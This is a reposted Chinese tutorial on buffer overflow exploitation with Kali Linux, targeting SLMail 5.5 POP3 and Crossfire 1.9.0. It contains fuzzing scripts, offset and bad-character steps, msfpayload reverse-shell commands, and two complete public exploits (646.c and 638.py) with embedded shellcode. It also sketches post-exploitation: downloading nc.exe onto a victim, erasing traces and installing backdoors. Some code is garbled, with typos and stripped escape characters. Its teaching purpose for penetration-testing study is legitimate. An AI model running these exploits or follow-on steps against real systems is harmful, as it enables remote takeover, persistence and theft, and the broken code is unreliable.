我是靠谱客的博主 阳光御姐,最近开发中收集的这篇文章主要介绍Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出

程序漏洞从哪里来?

  • 罪恶的根源:变量
  • 数据与代码边界不清(注入攻击)
  • 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没做检查导致)

缓冲区溢出

  • 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被"称暴",从而覆盖了相邻内存区域的数据
  • 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务控制权等后果’

如何发现漏洞?

  • 源码审计
  • 逆向工程
  • 模糊测试
    • 向程序堆栈半随机的数据,根据内存变化判断溢出
    • 数据生成器,生成随机,半随机数据
    • 测试工具,识别溢出漏洞(动态调试工具:IDA,OD)

Windows系统缓冲区溢出

  • FUZZING(模糊测试)
    • 准备环境
      • SLMail 5.5.0 Mail Server
      • immunityDebugger_1_85_setup.exe
      • mona.py
    • POP3 PASS 命令存在缓冲区溢出漏洞
    • 无需身份验证实现远程代码执行
    • windows防护机制
      • DEP:阻止代码从数据页被执行(软硬件实现)
      • ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
  • POP3
    • NC 110 端口
    • 了解未知协议
      • Wireshark
      • RFC
    • 01.py
     #!/bin/python
     import socket
     s=socket(socket.AF_INET,socket.SOCK_STREM)
     try:
          print "nSending evil buffer..."
          s.connect(('1.1.1.1',110))
          data=s.recv(1024)
          print data
    
          s.send('USER xxx'+'rn')
          data=s.recv(1024)
          print data
          
          s.send('PASS testrn')
          data=s.recv(1024)
          print data
    
          s.close()
          print "nDone!"
    except:
          print "Could not connext to POP3!"
    
  • FUZZING(way 1)
    • 测试PASS 命令收到大量数据时是否发生溢出
    • EIP寄存器存放下一条指令的地址
    • 02.py
       #!/usr/bin/python
       import socket 
       buffer=["A"]
       counter=100
       while len(buffer)<=50:
           buffer.append("A"*counter)
           counter=counter+200
       for string in buffer:
           print "Fuzzing PASS with %s bytes" % len(string)
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
           connect=s.connect(('1.1.1.1.1',110))
           s.recv(1024)
           s.send('USER test'+'rn')
           s.recv(1024)
           s.send('PASS'+string+'rn')
           s.send('QUITrn')
           s.close()
    
  • FUZZING(way 2)
    • 2700个字符实现EIP溢出
    • 03.py
     import socket 
     s=soket.socket(socket.AF_INET,socket.SOCK_STREAM)
     buffer='A'*2600(不断改变数字)
     try:
        print "nSending evil buffer..."
        s.connect(('1.1.1.1',110))
        data=s.recv(1024)
        s.send('PASS'+buffer+'rn')
        print 'nDone!'
     except:
        print "Could not connect to POP3!"
    
    
    • 找到精确溢出的4个字节
      • 二分法(2700->2600->2650)
      • 唯一字串法
        • kali生成唯一字符串:/sur/share/metasploit/tools/pattern_ create.rb 2700
      • 04.py
      • 05.py
    • 思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,并跳转到shellcode代码段执行
    • 寻找可存放的内存地址空间
    • 06.py
     #!/usr/bin/python
     import socket
     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     buffer="A"*2606+"B"*4+C*(3500-2606-4)  # 假设EXP寄存器最大可存放3500个字符
     try:
        print "nSending ing evil buffer..."
        s.connect(('1.1.1.1',110))
        date=s.recv(1024)
        s.send("USER TEST"+'rn')
        date=s.recv(1024)
        s.send('PASS'+buffer+'rn')
        print "nDone!"
     except:
        print "Could not connect to POP3!"
    
  • FUZZING:
    • 不同类型的程序.协议,漏洞,会将某些字符认为是坏字符,这些字符有固定用途
    • 返回地址,shellcode,buffer中都不能出现坏字符
    • null (0x00) 空字符,用于终止字符串的拷贝操作
    • return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
    • 思路:
      - 发送0x00-0xff 256个字符,查找所有坏字符
    • 07.py
      • 坏字符:0x0A,0x00,0x0D
      #!/usr/bin/python
      import socket
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      badchars=从0x00-0xff
      buffer="A"*2606+"B"*4+badchars  
      try:
         print "nSending ing evil buffer..."
         s.connect(('1.1.1.1',110))
         date=s.recv(1024)
         s.send("USER TEST"+'rn')
         date=s.recv(1024)
         s.send('PASS'+buffer+'rn')
         print "nDone!"
      except:
         print "Could not connect to POP3!"
    
  • FUZZING:
    • 重定向数据流
      • 用ESP的地址替换EIP的值
      • 但是ESP地址变化,硬编码不可行
      • SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
    • 变通思路:
      • 在内存中寻找地址固定的系统模块
      • 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
      • mona.py脚本识别内存模块,搜索"return address"是JMP ESP指令的模块
      • 寻找无EDP,ASLR保护的内存地址
      • 内存地址不包含坏字符
        mona find -s “二进制地址(可使用16进制转换工具)” -m xxx.dll
      • 生成shellcode
      • Scratch
      • ./msfpayload -l
        在这里插入图片描述
      • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 -C
        在这里插入图片描述
      • ./msfpayload win32_reverse LHOST=10.0.2.15 444 R | ./msfencode -b “x00x0ax0d”
      • nc -vlp 443
      • 09.py
        • x90:nop指令
        • 防止shellcode被清除前几个字节
        • 提权侵入,拿shell
  • shellcode执行结束后以exit方式退出整个结束,将导致邮件服务崩溃
  • Smail是一个基于线程的应用,使用ExitThread方式可避免整个服务崩溃,可实现重复溢出

FUZZING:远程桌面操控受控机

  • windows:配置信息在注册表
  • RegSnap 工具
  • 提权后远程操控指令:

Linux缓冲区溢出 - - 穿越火线缓冲区溢出

  • 1.环境搭建:
    • Crossfire(穿越火线)
      • 多人在线RPG游戏
      • 1.9.0版本接受入站 scoket连接时存在缓冲区溢出漏洞
    • 调试工具
      • edb
    • 运行平台
      • Kali i486 虚拟机
  • 2.Fuzzing
    • 新版本Linux内核会支持内存保护机制
      • DEP
      • ASLR
      • 堆栈 cookies
      • 堆栈粉碎
    • 本机调试
      • ipatbles -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP
      • ipatbles -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP
    • 1.01.py
       #!/usr/bin/python
       import socket
       host="127.0.0.1"
       #x41 代表A 精确溢出
       crash="x41"*4379  
       # x11 设备操作指令 x90 NOP指令
       buffer="x11(setup sound "+ crash +"x90x00#"
       # 建立连接
       s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM)
       print "[*] Sending evil buffer..."
       s.connect((host,13327))
       data=s.recv(1024)
       print data
       s.send(buffer)
       s.close()
       print "[*]Payload Sent!"
    
    • 2.唯一字符串识别EIP精确位置
      • 02.py
        #!/usr/bin/python
        import socket
        host="127.0.0.1"
        #x41 代表A 精确溢出
        crash='A'*4368+'B'*4+'C'*7 
        # x11 设备操作指令 x90 NOP指令
        buffer="x11(setup sound "+ crash +"x90x00#"
        # 建立连接
        s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM)
        print "[*] Sending evil buffer..."
        s.connect((host,13327))
        data=s.recv(1024)
        print data
        s.send(buffer)
        s.close()
        print "[*]Payload Sent!"
      
    • 3.思路:shellcode代码置入
      • 第一阶段shellcode
        • ESP 跳转到 EAX
        • 偏移12个字节
      • setup sound shellcode2
      • nasm
        • add eax,12
        • jmp eax
      1. 查找坏字符
      • x00x0ax0dx20
    • 5.shellcode
      • ESP跳转地址
      • 跳转该过程: EIP->jmp esp->add eax 12->jmp eax
      • 使用msfpayload 生成shellcode

选择和修改EXP

  • 网上公开的EXP代码
    • 选择可信赖的EXP源(虚拟环境中验证)
    • Exploit-db
    • SecurityFocus(安全焦点)
    • Searchsploit
  • 有能力修改EXP(Python,Perl,Ruby,C,C++…)
  • 选择和修改EXP
    • 646.C
      • 类unix环境下编译
      • 返回地址与本机环境不符
      • 反弹shell硬编码回连IP地址
      • 缓冲区偏移量与环境不符
      • 目标IP硬编码
//646.c  SLMAIL REMOTE PASSWD BO 代码
// 需使用gcc进行编译 
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
// [*] bind 4444 
unsigned char shellcode[] = 
"xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45"
"x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49"
"x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d"
"x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66"
"x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61"
"xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40"
"x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32"
"x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6"
"x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09"
"xf5xadx57xffxd6x53x53x53x53x53x43x53x43x53xffxd0"
"x66x68x11x5cx66x53x89xe1x95x68xa4x1ax70xc7x57xff"
"xd6x6ax10x51x55xffxd0x68xa4xadx2exe9x57xffxd6x53"
"x55xffxd0x68xe5x49x86x49x57xffxd6x50x54x54x55xff"
"xd0x93x68xe7x79xc6x79x57xffxd6x55xffxd0x66x6ax64"
"x66x68x63x6dx89xe5x6ax50x59x29xccx89xe7x6ax44x89"
"xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93x8dx7ax38xab"
"xabxabx68x72xfexb3x16xffx75x44xffxd6x5bx57x52x51"
"x51x51x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53"
"xffxd6x6axffxffx37xffxd0x8bx57xfcx83xc4x64xffxd6"
"x52xffxd0x68xf0x8ax04x5fx53xffxd6xffxd0";
void exploit(int sock) {
      FILE *test;
      int *ptr;
      char userbuf[] = "USER madivanrn";
      char evil[3001];
      char buf[3012];
      char receive[1024];
      char nopsled[] = "x90x90x90x90x90x90x90x90"
                       "x90x90x90x90x90x90x90x90";
      memset(buf, 0x00, 3012);
      memset(evil, 0x00, 3001);
      memset(evil, 0x43, 3000);
      ptr = &evil;
      ptr = ptr + 652; // 2608 
      memcpy(ptr, &nopsled, 16);
      ptr = ptr + 4;
      memcpy(ptr, &shellcode, 317);
      *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP

      // banner
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // user
      printf("[+] Sending Username...n");
      send(sock, userbuf, strlen(userbuf), 0);
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // passwd
      printf("[+] Sending Evil buffer...n");
      sprintf(buf, "PASS %srn", evil);
      //test = fopen("test.txt", "w");
      //fprintf(test, "%s", buf);
      //fclose(test);
      send(sock, buf, strlen(buf), 0);
      printf("[*] Done! Connect to the host on port 4444...nn");
}
int connect_target(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    WSADATA wsa;
    struct sockaddr_in sa;

    WSAStartup(MAKEWORD(2,0), &wsa);
    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
        printf("gethostbyname() error!n"); exit(0);
    }
    printf("[+] Connecting to %sn", host);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)      {
        printf("[-] socket blah?n");
        exit(0);
        }
    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
        {printf("[-] connect() blah!n");
        exit(0);
          }
    printf("[+] Connected to %sn", host);
    return sock;
}
int main(int argc, char **argv)
{
    int sock = 0;
    int data, port;
    printf("n[$] SLMail Server POP3 PASSWD Buffer Overflow exploitn");
    printf("[$] by Mad Ivan [ void31337 team ] - http://exploit.void31337.runn");
    if ( argc < 2 ) { printf("usage: slmail-ex.exe <host> nn"); exit(0); }
    port = 110;
    sock = connect_target(argv[1], port);
    exploit(sock);
    closesocket(sock);
    return 0;
}
# 638.py POP3 PASS 缓冲区溢出代码
import struct
import socket

print "nn###############################################"
print "nSLmail 5.5 POP3 PASS Buffer Overflow"
print "nFound & coded by muts [at] offsec.com"
print "nFor Educational Purposes Only!" 
print "nn###############################################"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


sc = "xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17xe0x66"
sc += "x1cxc2x83xebxfcxe2xf4x1cx8ex4axc2xe0x66x4fx97xb6"
sc += "x31x97xaexc4x7ex97x87xdcxedx48xc7x98x67xf6x49xaa"
sc += "x7ex97x98xc0x67xf7x21xd2x2fx97xf6x6bx67xf2xf3x1f"
sc += "x9ax2dx02x4cx5exfcxb6xe7xa7xd3xcfxe1xa1xf7x30xdb"
sc += "x1ax38xd6x95x87x97x98xc4x67xf7xa4x6bx6ax57x49xba"
sc += "x7ax1dx29x6bx62x97xc3x08x8dx1exf3x20x39x42x9fxbb"
sc += "xa4x14xc2xbex0cx2cx9bx84xedx05x49xbbx6ax97x99xfc"
sc += "xedx07x49xbbx6ex4fxaax6ex28x12x2ex1fxb0x95x05x61"
sc += "x8ax1cxc3xe0x66x4bx94xb3xefxf9x2axc7x66x1cxc2x70"
sc += "x67x1cxc2x56x7fx04x25x44x7fx6cx2bx05x2fx9ax8bx44"
sc += "x7cx6cx05x44xcbx32x2bx39x6fxe9x6fx2bx8bxe0xf9xb7"
sc += "x35x2ex9dxd3x54x1cx99x6dx2dx3cx93x1fxb1x95x1dx69"
sc += "xa5x91xb7xf4x0cx1bx9bxb1x35xe3xf6x6fx99x49xc6xb9"
sc += "xefx18x4cx02x94x37xe5xb4x99x2bx3dxb5x56x2dx02xb0"
sc += "x36x4cx92xa0x36x5cx92x1fx33x30x4bx27x57xc7x91xb3"
sc += "x0ex1exc2xf1x3ax95x22x8ax76x4cx95x1fx33x38x91xb7"
sc += "x99x49xeaxb3x32x4bx3dxb5x46x95x05x88x25x51x86xe0"
sc += "xefxffx45x1ax57xdcx4fx9cx42xb0xa8xf5x3fxefx69x67"
sc += "x9cx9fx2exb4xa0x58xe6xf0x22x7ax05xa4x42x20xc3xe1"
sc += "xefx60xe6xa8xefx60xe6xacxefx60xe6xb0xebx58xe6xf0"
sc += "x32x4cx93xb1x37x5dx93xa9x37x4dx91xb1x99x69xc2x88"
sc += "x14xe2x71xf6x99x49xc6x1fxb6x95x24x1fx13x1cxaax4d"
sc += "xbfx19x0cx1fx33x18x4bx23x0cxe3x3dxd6x99xcfx3dx95"
sc += "x66x74x32x6ax62x43x3dxb5x62x2dx19xb3x99xccxc2"

#Tested on Win2k SP4 Unpatched
# Change ret address if needed
buffer = 'x41' * 4654 + struct.pack('<L', 0x783d6ddf) + 'x90'*32 + sc 
try:
	print "nSending evil buffer..."
	s.connect(('192.168.1.167',110))
	data = s.recv(1024)
	s.send('USER username' +'rn')
	data = s.recv(1024)
	s.send('PASS ' + buffer + 'rn')
	data = s.recv(1024)
	s.close()
	print "nDone! Try connecting to port 4444 on victim machine."
except:
	print "Could not connect to POP3!"

避免有害的EXP

  • 不同的EXP
    • 不同的系统补丁
    • 软件版本
    • 不同的offset,shellcode
  • 扫描探测目标系统版本,搭建适当的测试环境
    • 避免一锤子测试
  • 修改公开的EXP满足不同的环境需要
    • 了解漏洞原理,修改溢出代码

后漏洞利用阶段(POST EXPLOITATION)

  • 1.漏洞利用后阶段
    • 上传工具

    • 提取

    • 擦除攻击痕迹

    • 安装后门(木马程序)

      • 长期控制
      • Dump密码
      • 内网渗透(拿到更多服务器)
    • 后漏洞利用阶段

      • 最大的挑战-防病毒软件
      • 使用合法的远程控制软件(nc)
    • 2.上传工具之上传文件

      • 持久控制
        • 扩大对目标系统的控制能力
        • Linux系统
          • netcat
          • curl
          • wget
        • windos系统
          • 缺少预装的下载工具
          • 一些问题解决方案:
            • a.非交互式模式shell(具有局限性,需上传木马拿到交互式shell)
              • 类nc 远程控制shell
              • ftp 192.168.1.1
        • 上传文件的方法
          • 使用TFTP传输文件
            • xp,2003默认安装
            • win7,2008需要单独添加
            • 经常被边界防火墙过滤
          • 使用FTP传输文件
            • apt-get install pure-ftpd
            • ftp.sh
          • 使用 VBSCRIPT 传输文件
            • wget.vbs
            • cscript wget.vbs.http://192.168.1.117/nc.exe nc.exe
          • 使用POWERSHELL 传输文件
            • Wget.ps1
          • 使用DEBUG 传输文件
            • Debug
              • 汇编,反汇编
              • 16进制dump工具
              • 64k字节
            • upx压缩文件
            • wine exe2bat.exe nc.exe nx.hex
            • debug<nc.hex
            • copy 1.dll nc.exe

最后

以上就是阳光御姐为你收集整理的Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出的全部内容,希望文章能够帮你解决Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(37)

评论列表共有 0 条评论

立即
投稿
返回
顶部